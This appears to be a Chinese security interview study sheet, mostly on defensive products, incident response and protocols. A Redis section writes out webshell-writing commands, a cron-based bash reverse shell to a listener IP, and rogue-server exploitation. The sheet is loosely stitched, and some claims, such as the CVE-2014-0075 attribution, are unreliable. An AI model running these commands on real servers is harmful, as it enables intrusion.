Apache Shiro 是一个强大的开源 Java 安全框架,用于提供身份验证、授权、会话管理和加密等功能。尽管 Shiro 在安全性方面具有良好的声誉,但在过去的一些版本中也发现了一些安全漏洞。以下是一些与 Apache Shiro 相关的已知漏洞:
CVE-2020-11989:该漏洞存在于 Apache Shiro 的默认配置中,攻击者可以利用该漏洞来绕过身份验证和授权机制,从而获得未授权访问权限。
CVE-2016-4437:此漏洞允许攻击者通过发送恶意序列化对象利用 Apache Shiro 的 RememberMe 功能,以执行远程代码执行攻击。
CVE-2014-0075:这个漏洞影响 Apache Shiro 在与 Spring Framework 集成时的安全性,攻击者可以利用该漏洞绕过授权限制。
这些漏洞在发现后都得到了修复。如果您使用 Apache Shiro,请确保升级到最新版本以修复这些漏洞。此外,以下是一些建议来增强 Apache Shiro 的安全性:
及时更新 Apache Shiro:保持 Apache Shiro 库的最新版本,以获取已知漏洞的修复和安全增强。
定期审计和监控:监控 Apache Shiro 的日志和用户活动,并进行定期审计,以检测潜在的安全问题和异常行为。
配置安全的 RememberMe 功能:如果使用 Apache Shiro 的 RememberMe 功能,请确保使用安全的密钥和加密机制,以防止 RememberMe Cookie 被篡改或伪造。
加强输入验证和过滤:对于用户输入的数据,进行严格的验证和过滤,以防止攻击者构造恶意输入进行攻击。
使用安全的序列化机制:如果您使用了 Shiro 的序列化功能,请确保使用安全的序列化机制,避免受到序列化漏洞的影响。
确保您遵循最佳实践并保持关注 Apache Shiro 的安全公告,以及及时更新和修复任何已知的漏洞,这样可以增强您应用程序的安全性。
原理
Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到${
后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。
积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,尽可能地发现网络攻击行为,积极主动的处理攻击,保证网络资源的机密性,完整性和可用性。
防火墙是位于两个(或多个)网络间,实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。
是对数据库访问行为进行监管的系统,通过镜像或者探针的方式采集所有数据库的访问流量,并基于SQL语法,语义的解析技术,记录下对数据库所有访问和操作行为,例如访问数据的用户IP,账号,时间等等,对数据进行操作的行为等等。
日志审计系统能够通过主被动结合的手段,实时且不间断的采集用户网络中不同厂商的安全设备,网络设备,主机,操作系统以及各种应用系统产生的海量日志信息,并将这些信息汇集到审计中心,进行集中化存储,备份,查询,审计,告警,响应,并出具丰富的报表报告,获悉全网的整体安全运行态势,同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。
是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。
漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。
以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。
是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。
WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。
蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。
WAF(Web 应用程序防火墙)产品通常可以分为以下几种分类:
基于签名的 WAF:基于签名的 WAF 通过检测请求中是否包含已知漏洞的特征,来拦截攻击。这种类型的 WAF 可以快速识别和阻止已知的攻击方式。
基于行为的 WAF:基于行为的 WAF 使用机器学习、人工智能等技术来分析请求的行为模式,并判断其是否具有攻击性。这种类型的 WAF 能够较好地识别未知攻击。
综合型 WAF:综合型 WAF 结合了基于签名和基于行为两种技术,能够同时检测已知攻击和未知攻击,提供更加全面的保护。
WAF 产品一般通过拦截攻击请求来保护 Web 应用程序。具体的拦截方式包括:
黑名单过滤:根据已知的攻击方式,设置黑名单规则,对符合规则的请求进行拦截。
白名单过滤:对请求进行白名单过滤,只允许符合规则的请求通过。
存储过程注入防护:对 SQL 注入进行防护。WAF 可以检测并拦截具有攻击意图的 SQL 语句,并对其进行相应的修复和防护。
跨站脚本(XSS)防护:WAF 可以检测并过滤包含恶意 JavaScript 代码的请求,并防止 XSS 攻击。
防止文件上传漏洞:WAF 可以检测并拦截包含恶意文件的请求,从而避免文件上传漏洞导致的攻击。
总之,WAF 产品可以有效地保护 Web 应用程序免受各种类型的攻击。但是需要注意的是,WAF 并不是万能的,仍然需要结合其他安全措施来保障 Web 应用程序的安全。
1.首先关闭网站,下线服务。有必要的话将服务器断网隔离。
2.手工结合工具进行检测。
工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。
手工方面对比未上传webshell前的备份文件,从文件甚至代码层面进行对比,检查有无后门程序或者其他异常文件,实在不行就直接用备份文件替换了。
3.加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施。
这些产品都采用了先进的机器学习和人工智能技术,可以自动化地分析和识别网络威胁,并及时发出预警或者采取应急措施。同时,这些产品还具备可视化的操作界面,用户可以通过简单的操作就可以了解整个系统的安全情况,并做出相应的决策
首先看它的来源和去向,然后可以下载但不运行,放入微步沙箱中,看是否有后门,若有后门,就用 IDA 反汇编得到恶意攻击者的有用信息,再进一步描绘出攻击者画像进行溯源
.exe 文件是 Windows 上的可执行文件,通常包含应用程序或者安装程序等内容。如果您在电子邮件或者网络上收到了 .exe 文件,需要格外小心,因为它们可能包含病毒、恶意软件或者其他危险物品。以下是几种处理方法:
(1)查询web服务器名
LENOVO-GH*****—select @@servername;
(2)查询数据库服务器名
DESKTOP-1HV****—select host_name();
对比两个查询结果,即可判断。相同则同站同库,不同就是站库分离
常见的 HW 设备有:公安部网防G01、K01、360网康/网神防火墙、微步威胁情报、安恒云-Web应用防火墙(玄武盾)、默安蜜罐、知道创宇蜜罐、山石防火墙
NGAF/NGFW:下一代 Web 应用防火墙(Next Generation Application Firewall,通防火墙和下一代防火墙的区别),聚合了以下功能
IDS
HIDS:基于主机的入侵检测系统
NIDS:基于网络的入侵检测系统
HIDS+NIDS:基于混合数据源的入侵检测系统
IPS:入侵防御系统
AV:反病毒系统
EDR:主机安全管理\终端检测和响应
EDR 实时监测终端上发生的各类行为,采集终端运行状态,在后端通过大数据安全分析、机器学习、沙箱分析、行为分析、机器学习等技术,提供深度持续监控、威胁检测、高级威胁分析、调查取证、事件响应处置、追踪溯源等功能,可第一时间检测并发现恶意活动,包括已知和未知威胁,并快速智能地做出响应,全面赋予终端主动、积极的安全防御能力
简单来说就是给内网环境中所有主机安装管理软件终端,可以在管理平台集中管理和数据分析过滤,基本所有安全厂商都有自己的 EDR 产品
运维审计和管理平台(堡垒机)
DAS:数据库安全审计平台
LAS:日志审计安全平台
AC:上网行为管理系统
伪装欺骗系统(蜜罐、蜜网)
SIP:安全态势感知平台
这个算是让整套系统性能得到提升的灵魂了,定位为客户的安全大脑,是一个集检测、可视、响应处置于一体的大数据安全分析平台。产品以大数据分析为核心,支持主流的安全设备、网络设备、操作系统等多源数据接入,利用大数据、关联分析、告警降噪等技术,实现海量数据的统一挖掘分析
一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
用流量监测的安全设备,比如天眼,查看报文,分析报文里和 host 和网站目录路径,查看是否可疑,使用微步查询 host 是否为恶意,使用 wireshark 对数据包深度分析
看一下请求的网站路径,源 IP 与目的 IP 地址,host 字段的值以及发包内容等
工具有 wireshark,网站的话微步在线等威胁情报中心
文件:可能在系统有上传功能或者有文本编辑器,看一下是否有 base64 加密或者 url 加密,解码验证一下是否有恶意代码
系统日志:有没有 web 容器做了一些危险行为,比如 bash 反弹 shell 等
网络应用日志:有没有异常的网站文件,类似 webshell 等,就有可能是命令执行
Event Log Explorer
1.基于webshell特征检测
常见webshell函数
(1)存在系统调用的命令执行函数,如eval、system、cmd_shell、assert等;
(2)存在系统调用的文件操作函数,如fopen、fwrite、readdir等;
(3)存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
(4)具备很深的自身隐藏性、可伪装性,可长期潜伏到web源码中;
(5)衍生变种多,可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测;
基于webshell工具特征的检测
1)少量的IP对其发起访问
2)总的访问次数少
3)该页面属于孤立页面
先去查看设备的完整流量日志等信息。在护网过程中如果确实存在异常流量应当及时进行上报,确认是误报后做好事件记录
sT TCP (全)连接扫描,准确但留下大量日志记录
-sS TCP SYN (半)扫描,速度较快,不会留下日志
-sN null 扫描,标志位全为 0,不适用 Windows
-sF FIN 扫描,标志位 FIN=1,不适用 Windows
-O 查看目标主机系统版本
-sV 探测服务版本
-A 全面扫描
ips,ids,hids,堡垒机等
xshell、xftp、finalshell
微步在线是一个威胁情报中心,可以通过 ip 或域名查询其是不是恶意的,对于判断恶意链接具有一定的参考性,他还有一个插件可以在页面选中就能进行查询,还是一个比较好用的工具
横向越权:横向越权指的是攻击者尝试访问与他拥有相同权限的用户的资源
纵向越权:纵向越权指的是一个低级别攻击者尝试访问高级别用户的资源
对于纵向越权,我们可以通过设置用户角色,为不同的角色提供不同的权限来避免
为了防止横向越权,我们可以使用缓存来进行辅助,当登录成功或者进行操作时,我们在缓存中存储一对由用户名和一个唯一的数字组成的数据(token),然后返回放入的唯一数据在重置密码时我们的参数不仅需要用户名和密码还需要前面生成的唯一数字,根据用户名在缓存中取出对应的数字,如果取出的数字和参数中传入的想等,则证明重置的当前用户的密码,否则不是,且不予以重置
403 (禁止) 服务器拒绝请求。
404 (未找到) 服务器找不到请求的网页。
301 (永久移动) 请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
500 (服务器内部错误) 服务器遇到错误,无法完成请求。
501 (尚未实施) 服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码。
502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
505 (HTTP 版本不受支持) 服务器不支持请求中所用的 HTTP 协议版本。
简介
PowerShell 是一种命令行外壳程序和脚本环境,主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。
使用
常见的操作 pwd ls cd mkdir rm
get-process获取所有进程信息
get-date获取当前时间信息
get-host获取当前主机信息
然后就是使用PowersSploit(基于Powershell的后渗透框架软件,包括了很多Power shell攻击脚本,主要用于渗透中的信息收集,权限提升,权限维持)的时候在Powshell上使用过一些下载和运行攻击脚本的命令。
简介:
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。
模块:
Auxiliary(辅助模块)
为渗透测试信息搜集提供了大量的辅助模块支持
Exploits(攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
Payload(攻击载荷模块)
攻击成功后促使靶机运行的一段植入代码
Post (后渗透攻击模块)
收集更多信息或进一步访问被利用的目标系统
Encoders(编码模块)
将攻击载荷进行编码,来绕过防护软件拦截
使用:
首先利用Auxiliary辅助探测模块扫描,嗅探,指纹识别相关漏洞,然后确认漏洞存在使用Exploit漏洞利用模块对漏洞进行利用,包括设置payload攻击载荷,设置本机监听等等。漏洞利用成功目标主机就会通过设置的端口主动连接,产生会话。进而可以进行后渗透。
功能:
木马免杀,抓取用户密码,关闭杀毒软件,屏幕截图,新建账号,远程登录,迁移进程,提权操作,网络嗅探,端口转发 ,内网代理,内网扫描,生成后门,清除日志等等。
log4j远程代码执行漏洞
原理:
Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到${
后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
具体操作:
在正常的log处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行
Fastjson反序列化漏洞
判断:
正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。
原理:
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
无回显怎么办:
1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果
2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
3.直接将命令执行结果回显到请求Poc的HTTP响应中
Shiro反序列化漏洞
原理:
Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
判断:
1.数据返回包中包含rememberMe=deleteMe字段。
2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。
shiro-550:
shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。
shiro-721:
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
答:
redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。利用手段主要有:
1.向root权限账户写入ssh公钥文件,直接免密登录服务器。(受害者redis非root权限运行会报错)
条件:
服务器存在.ssh目录且具有写入的权限
原理:
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
2.写入webshell
条件:
已知web绝对路径。
步骤:
redis -cli -h 192.168.x.x 连接目标服务器
config set dir “/var/www/html” 设置保存文件路径
config set dbfilename shell.php 设置保存文件名
set x “\n\n\n” 将webshell写入x键值中
save 保存
局限:
1.服务器处于内网,写入webshell后我们的公网IP无法连接
2.服务器IP地址不固定
3.6379端口不允许入方向
4.上传webshell可能直接被杀毒软件删除
3.反弹连接shell
设置监听端口,常用的工具1.msf 2.netcat 3.socat
利用msf设置监听步骤:
use exploit/multi/handler
set payload generic/shell_reverse_tcp
set lhost 192.168.x.x 默认监听端口为4444
run
4.定时任务反弹shell
步骤:
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中写入反弹连接命令
(1) config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中
(2) config set dbfilename root //设置保存文件名
(3)set x “\n * * * * * bash -i >& /dev/tcp/192.168.96.222/7777 0>&1\n” //将反弹shell写入x键值中
(4)save //保存
利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制
理由如下:
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行
2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.两个系统的定时任务文件目录不同
利用主从复制getshell
条件:
版本(4.x~5.0.5)
原理:
数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。
利用工具:
RedisRogueServer
地址:
https://github.com/n0b0dyCN/redis-rogue-server
使用工具的命令:
python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so
两种使用方法:
交互式
反弹式
限制:
利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用
redis未授权访问漏洞的防范措施:
1.添加登录密码
2.修改默认端口
3.关闭端口
4.禁止以root用户权限启动,以低权限启动redis服务
答:DDoS攻击是一种通过向目标网络或服务器发送大量请求流量来使其网络资源饱和的攻击。防御DDoS攻击的方法包括使用负载均衡和防火墙等技术,以及使用CDN和DDoS防护服务等外部防护措施,还可以使用IPS和IDS等内部防护措施。
答:黑盒测试是一种测试方法,测试人员没有访问源代码或内部系统的访问权限。白盒测试是另一种测试方法,测试人员可以访问源代码或内部系统的访问权限。
答:社交工程攻击是一种通过利用人性弱点和社交工具的攻击,如通过网络欺诈和欺骗,获得敏感信息或获得未经授权的访问权限。预防社交工程攻击的方法包括关注网站和邮件上的可疑信息,限制对敏感信息的访问权限,并进行员工网络安全意识教育。
答:虚拟专用网络(VPN)是一种加密隧道,通过互联网连接两个或多个设备,并使它们彼此之间相互通信。保护VPN的安全的方法包括使用强密码、定期更换密码、控制VPN文件的访问权限、定期更新VPN软件并启用双因素身份验证等。
答:DNS欺骗攻击或DNS劫持是指攻击者通过修改DNS查询的响应结果或在DNS服务器上进行欺骗攻击。这可能会导致用户被重定向到恶意网站或无法访问正常网站。预防DNS欺骗攻击的方法包括使用DNSSEC协议或使用可靠的DNS服务器,并保持软件和操作系统更新。
答:IPS(入侵防护系统)和WAF(Web应用程序防火墙)是一种针对不同级别的网络攻击的安全措施,CDN(内容传输网络)则是一种加速网站网页加载速度的技术。它们都是网络安全策略的一部分,可以一起工作以提供更全面的网络安全保护。
答:逆向工程是指分析和破解技术,方法和代码等的过程,以掌握它们的原理和功能。逆向工程在安全领域常用于软件漏洞攻击和恶意代码分析等方面。
答:网络钓鱼是一种通过邮件或社交媒体等方式向个人或组织发送虚假信息的攻击,以骗取敏感信息或资金。识别和防范网络钓鱼攻击的方法包括使用强密码,不点击可疑链接,不公开个人或公司的敏感信息,并在工作场所提高员工网络安全意识。
答:网络扫描是一种通过扫描网络或服务器来收集网络信息和漏洞的攻击。识别和防范网络扫描攻击的方法包括使用防火墙和入侵检测系统来监控网络活动,使用网络安全测试服务来检测和评估网络漏洞,以及保持软件和操作系统更新。
答:恶意软件是指通过计算机网络传播并对计算机系统造成破坏或利用个人信息的程序或代码。防范恶意软件攻击的方法包括使用杀毒软件、反病毒软件、防火墙、文件过滤器、电子邮件过滤器和反间谍软件等,同时保持软件和操作系统更新。
答:物联网网络安全是指通过保护物联网设备和网络,防止网络攻击对IoT设备和网络造成的风险。提高物联网网络安全的方法包括:使用物联网设备和软件的安全性评估工具;保持IoT设备和网络上的软件更新和补丁;隔离物联网网络的弱点;加强对IOT设备和网络的保护和管控。
答:企业网络安全政策是指明确和详细的指导原则和规则,目的是为了保护企业计算机系统和网络的机密性,完整性和可用性。制定一个有效的网络安全政策需要涵盖包括漏洞扫描、密码策略、访问控制、反病毒措施、加密、离职员工计划等规定和措施。
答:入侵检测系统(IDS)是一种监测网络流量和系统活动的技术,以检测网络安全威胁和攻击。使用IDS可以提高网络安全的方法包括:实时监控网络流量,并识别非法流量;分析网络攻击和安全事件,并提供实时警报;控制网络访问和数据流量,并预防未来的威胁。
答:加密技术是一种将数据转换为基于密码学相似算法的密文来保护数据的技术。保护数据安全的方法有:使用加密技术来加密数据;使用密钥管理系统对密钥进行管理;限制在使用加密数据的时候谁可以访问密钥,并采用其他安全措施,如访问控制和身份验证来保护密钥。
答:网络安全事件是指在网络系统中出现的任何安全威胁和攻击,如病毒攻击、网络钓鱼、入侵等。监控和解决网络安全事件的方法包括:设置安全监视和警报系统;分析各种安全事件的来源和类型;评估网络安全事件的影响;制定适当的解决方案;并记录网络安全事件以便以后参考。
答:反病毒软件是一种用于保护计算机系统免受恶意代码、病毒和其他网络安全威胁的软件。选择反病毒软件的最佳方法是通过对多种反病毒软件的功能和服务进行评估,考虑其安全性、易用性、可扩展性和性价比等因素。
答:安全审计是一种监控和评估计算机系统和网络中安全措施有效性的方法。实施安全审计包括确定安全审计目标和范围,收集安全事件和数据,并生成报告以确定安全事件的根本原因和下一步的纠正措施。
答:网络安全策略是指明确和详细的指导原则和规则,以保护网络系统、应用程序和数据免受网络攻击和安全威胁。制定和实施网络安全策略包括了解企业的安全需求、评估风险、建立和实施安全程序、持续监管,监控和更新网络安全政策、程序和实施细节。
答:多因素认证是一种需要提供多个验证因素以确认和授权访问的方法。通常包括知识因素(如密码或个人标识号码)、拥有因素(如智能卡或手机)和生物识别因素(如指纹或面部识别)。使用多因素认证可以提高账户的安全性,因为需要更多的验证因素才能访问账户,即使密码被泄露,依然需要其他安全因素。
答:漏洞管理是指通过识别、评估和修复计算机系统和网络中存在的漏洞来提高网络安全的过程。实施漏洞管理需要通过收集和审核漏洞报告,对漏洞进行分类和评估来分析其对系统和数据的危害,随后分配修复优先级和时间安排,并实施漏洞修复措施以消除漏洞。
答:网络安全培训是通过为员工提供有关网络安全的教育和培训来提高组织中员工的网络安全意识和文化。实施网络安全培训需要了解组织网络安全需求、制定培训计划和内容、选择适当的培训方法和资源,如在线培训、模拟攻击、游戏等,并对网络安全培训进行评估和持续更新改进。
答:应对网络安全事件的应急响应需要快速、准确地处理安全事件或威胁,并为受影响的系统和数据提供可靠保护。这包括进行威胁分析、暴漏的证据收集、岗位分工、调动资源、制定预案和时间表、实施监控、持续评估和改进网络和数据的安全管理。合理的应急响应计划可以最大限度的减少网络安全事件对组织的影响。
答:保护无线网络的安全性可以通过采用如下措施:使用强密码,进行定期更改,启用无线网络加密,限制无线访问权限,升级无线路由器的固件和操作系统,禁止使用广播网络SSIDs,并定期监测无线网络的流量。
答:保护移动设备的网络安全性可以采取如下措施:档板密码和生物识别技术来保护设备和数据,保证设备的操作系统和应用程序的及时更新,使用加密性的Wi-Fi连接,保护移动设备免受恶意软件和网络攻击的脱离。使用VPN等其他措施来保障移动设备上存储的敏感或机密数据的安全。
答:人工智能和机器学习在网络安全领域中得到了广泛应用。通过对攻击行为的分析和识别,这种技术可以识别网络攻击,帮助组织采取即使应对措施,提高网络安全防御的能力。另外,机器学习在日益复杂的网络威胁和攻击中也具有预测功能,并且有助于提供更高效的安全处理。机器学习还可以用于日志分析、网络透明化、异常检测、风险管理等领域,帮助组织及时发现潜在的安全威胁、快速响应和恢复。总之,人工智能和机器学习在网络安全方面的应用将会越来越重要,随着技术的不断发展,其应用范围和效果也将会不断提升。
答:外部攻击的方式多种多样,组织可以通过采取多种措施来防范外部攻击,例如加强网络安全设备、使用强密码和多因素身份验证、定期更新和升级系统和软件,以及禁止使用未授权的设备和应用程序。此外,还可以加强内部培训,提高员工对网络安全的意识和知识水平,以便更好地了解网络攻击的形式和手段,从而更好地防范和应对网络攻击。
答:建立安全的网络策略需要将组织的安全目标和需求与现实情况结合起来,落实到具体的措施和计划中。首先,需要确立网络安全负责人,明确各个部门的安全责任,并措施科学合理的安全管理制度和流程。其次,应该制定完整的、可操作的安全规范和标准,包括密码规范、网络接入规范、操作规范等,以规范员工的行为和操作。最后,要通过稳定可靠的技术措施来防范和应对网络威胁,如入侵检测、安全审计、VPN等,从而形成一个完整的网络安全体系。
答:保护个人电脑的网络安全需要注意以下几点:首先,定期更新电脑的操作系统和应用程序,关闭不必要的服务和端口;其次,安装杀毒软件、网络安全工具和防火墙,并定期运行扫描和检测;然后,使用强密码并定期更改,禁止使用弱密码以及重复密码;最后,注意在网络上保护个人信息和隐私,避免点击未知来源的链接和附件,并保护个人账户的安全。
答:应对密码泄露的方式需要立即更改泄露的密码,包括所有相关的网站和应用程序。建议使用强密码,避免使用常见的密码和重复密码,同时采用两步认证的方式来提高帐户的安全性。另外,还需要注意在电脑上和移动设备上的安全性,定期检查本地的登录记录、应用程序的授权和权限等情况,并保持杀毒软件和更新的操作系统。如果有必要,在发现存在重大的密码泄露后,应当通知网站或应用程序管理员,并申请注销其对应的账户。
答:社交工程攻击是指攻击者通过利用人性弱点来获取个人信息或者敏感信息,如钓鱼邮件、欺诈电话、假冒社交媒体等手段。为防范社交工程攻击,需要注意以下几点:首先,要保持警惕,不要轻易相信不明来源的电子邮件、消息,不要随意点击其中所包含的链接和附件;其次,要重视密码和帐户的安全性,尤其是使用与个人相关的帐户时,需要使用强密码和双重验证等方式;其次,要时刻关注自身信息的保护,如定期检查个人账户信息是否准确,避免泄露个人信息;同时,应定期进行网络安全培训和意识提高,以提高人员自身的安全意识和识别能力,从而有效防范社交工程攻击。
传输层协议:
传输控制协议(Transmission Control Protocol,TCP):提供可靠的、面向连接的数据传输。
用户数据报协议(User Datagram Protocol,UDP):提供无连接的数据传输,速度较快但不可靠。
网络层协议:
互联网协议(Internet Protocol,IP):定义了在网络中传输数据的标准方式,负责数据的分组和路由。
应用层协议:
超文本传输协议(Hypertext Transfer Protocol,HTTP):用于在Web浏览器和服务器之间传输超文本的协议。
文件传输协议(File Transfer Protocol,FTP):用于在客户端和服务器之间传输文件的协议。
电子邮件协议(Simple Mail Transfer Protocol,SMTP):用于电子邮件的发送和路由。
域名系统协议(Domain Name System,DNS):用于将域名转换为IP地址的协议。
OSI七层模型及其功能:
物理层(Physical Layer):
提供物理介质传输数据的方式,如电缆、光纤和无线信号。
定义了数据的电气特性、物理连接和传输速率等。
数据链路层(Data Link Layer):
将物理层提供的比特流划分为数据帧(Data Frame)。
提供可靠的数据传输,错误检测和纠正,以及对物理层的错误隔离。
网络层(Network Layer):
负责在不同网络之间进行数据包的路由和转发。
提供逻辑地址(如IP地址)来唯一标识网络上的设备。
传输层(Transport Layer):
提供端到端的数据传输服务,确保可靠的数据传输。
建立、维护和终止应用程序之间的数据传输连接。
常用的协议有TCP(传输控制协议)和UDP(用户数据报协议)。
会话层(Session Layer):
建立、管理和终止应用程序之间的会话。
提供会话控制和同步功能,支持数据交换的检查点和恢复机制。
表示层(Presentation Layer):
处理数据的表示方式,确保不同系统上的数据可以正确解释。
提供数据的加密、压缩和格式转换等功能。
应用层(Application Layer):
提供用户接口和服务,支持特定应用程序的网络通信需求。
包括各种应用层协议,如HTTP(超文本传输协议)、FTP(文件传输协议)和SMTP(简单邮件传输协议)等。
互联网协议(Internet Protocol,IP):
IP是最基础、最重要的网络层协议,用于在网络中传输数据包。
IPv4是目前广泛使用的版本,而IPv6是其后续版本,为解决IPv4地址耗尽问题而设计。
互联网控制报文协议(Internet Control Message Protocol,ICMP):
ICMP用于在IP网络中发送错误消息和状态信息。
例如,ICMP可用于发送网络不可达消息或进行网络诊断和故障排除。
地址解析协议(Address Resolution Protocol,ARP):
ARP用于将IP地址解析为物理硬件地址(如MAC地址)。
当主机需要发送数据包到目标主机时,它需要知道目标主机的MAC地址,ARP就负责进行地址解析。
网际组管理协议(Internet Group Management Protocol,IGMP):
IGMP用于在多播通信中进行组成员管理。
它使主机能够加入或离开一个多播组,并向路由器发送有关组成员的信息。
网络地址转换协议(Network Address Translation,NAT):
NAT用于在网络边界上进行IP地址转换。
它允许将内部网络的私有IP地址转换为公共IP地址,以便与Internet通信。
网络控制协议(Network Control Protocol,NCP):
NCP用于在点对点网络连接中建立和配置网络层参数。
例如,点对点协议(Point-to-Point Protocol,PPP)使用NCP来配置IP地址和其他网络参数。
User-Agent(用户代理)是一个HTTP请求头部字段,用于标识发起请求的客户端应用程序、操作系统和设备等信息。
Referer(引荐者)是另一个HTTP请求头部字段,用于指示从哪个页面链接跳转或从哪个页面发起了当前请求。
IP地址(Internet Protocol Address)显示的是客户端设备的唯一标识符,用于在网络中标识和定位设备。
6、答完之后又开始拷问我你知道6379是哪个端口吗?
redis,
接着又开始问我了解哪些中间件,
Apache HTTP Server:开源的、跨平台的Web服务器软件。
Nginx:高性能的Web服务器和反向代理服务器。
Microsoft IIS(Internet Information Services):微软的Web服务器软件。
添加链接描述
